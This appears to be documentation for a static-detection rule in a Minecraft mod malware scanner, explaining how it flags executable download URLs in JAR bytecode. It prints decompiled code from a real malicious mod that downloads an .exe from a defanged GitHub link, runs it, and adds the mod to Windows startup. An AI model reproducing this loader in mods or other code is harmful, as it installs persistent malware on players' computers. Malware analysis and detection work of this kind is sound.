Direct Binary Download URL
Minecraft Gameplay Impact
Mods distributed for Minecraft are packaged as Java archive (.jar) files and executed within the Java Virtual Machine. When mods need to download additional assets, sounds, or libraries, those files are typically retrieved in cross-platform formats (such as .jar, .json, .ogg, or .png).
Executable_Download_URL identifies code containing direct links to native executable files (.exe, .bat, .ps1). In confirmed malware samples (such as the inspected com.hittools.HitToolsClient), the author embeds a direct GitHub link to an .exe file (autostartadd.exe). Upon execution, the mod downloads the executable into the user's temporary folder and invokes Runtime.getRuntime().exec() to execute the helper and add the mod JAR to Windows system startup.
The impact of this behavior is operating-system specific: the inspected sample explicitly verifies that os.name contains windows before executing the download and launcher logic. On non-Windows platforms (such as Linux or macOS), the routine logs an error message and terminates without downloading the payload.
Functions & APIs Analyzed
ConstantPool CONSTANT_Utf8
String literal containing a direct URL pointing to an executable file (.exe, .dll, .bat).
Mod Implementation (Dev Source / Mapped)
private static void addToStartup() {
try {
out.println("FUN_STATUS:[OK] Добавление в автозагрузку...");
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
out.println("FUN_STATUS:[ERR] Только для Windows");
return;
}
String jarPath = new File(HitToolsClient.class.getProtectionDomain().getCodeSource().getLocation().toURI()).getPath();
String tempDir = System.getProperty("java.io.tmpdir");
String autostartUrl = "hxxps://github[.]com/<redacted_user>/<redacted_repo>/raw/main/autostartadd.exe";
String autostartPath = tempDir + "autostartadd.exe";
out.println("FUN_STATUS:[↓] Скачивание autostartadd.exe...");
// Скачиваем программу
downloadFile(autostartUrl, autostartPath);
File autostartExe = new File(autostartPath);
if (!autostartExe.exists()) {
out.println("FUN_STATUS:[ERR] Не удалось скачать autostartadd.exe");
return;
}
out.println("FUN_STATUS:[OK] Программа скачана, добавляем в автозагрузку...");
// Запускаем программу с параметром -add и нашим jar файлом
String command = String.format("\"%s\" -add \"%s\"", autostartPath, jarPath);
Process process = Runtime.getRuntime().exec(command);
int exitCode = process.waitFor();
// ...Decompiled Representation (Vineflower View)
private static void addToStartup() {
try {
out.println("FUN_STATUS:[OK] Добавление в автозагрузку...");
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
out.println("FUN_STATUS:[ERR] Только для Windows");
return;
}
String var0 = new File(HitToolsClient.class.getProtectionDomain().getCodeSource().getLocation().toURI()).getPath();
String var1 = System.getProperty("java.io.tmpdir");
String var2 = "hxxps://github[.]com/<redacted_user>/<redacted_repo>/raw/main/autostartadd.exe";
String var3 = var1 + "autostartadd.exe";
out.println("FUN_STATUS:[↓] Скачивание autostartadd.exe...");
downloadFile(var2, var3);
File var4 = new File(var3);
if (!var4.exists()) {
out.println("FUN_STATUS:[ERR] Не удалось скачать autostartadd.exe");
return;
}
out.println("FUN_STATUS:[OK] Программа скачана, добавляем в автозагрузку...");
String var5 = String.format("\"%s\" -add \"%s\"", var3, var0);
Process var6 = Runtime.getRuntime().exec(var5);
int var7 = var6.waitFor();
// ...Bytecode Signature & Static Detection
The detector inspects string constants in the class constant pool (CONSTANT_Utf8) for URLs ending in known operating system executable and script extensions:
- Executable binaries and installers:
.exe,.dll,.msi. - Shell and script interpreters:
.bat,.cmd,.ps1,.sh,.vbs.
The matching regular expression checks for the URL protocol prefix followed by a path ending in one of these extensions, optionally followed by query parameters or fragments ((?:[?#][^\s"']*)?).
The detector evaluates the presence of the URL string directly in bytecode. Its primary limitation is that it targets static URL strings; if a URL is resolved dynamically, stored in an external configuration, or assembled by concatenating string fragments at runtime, this rule will not trigger without deeper dataflow tracking.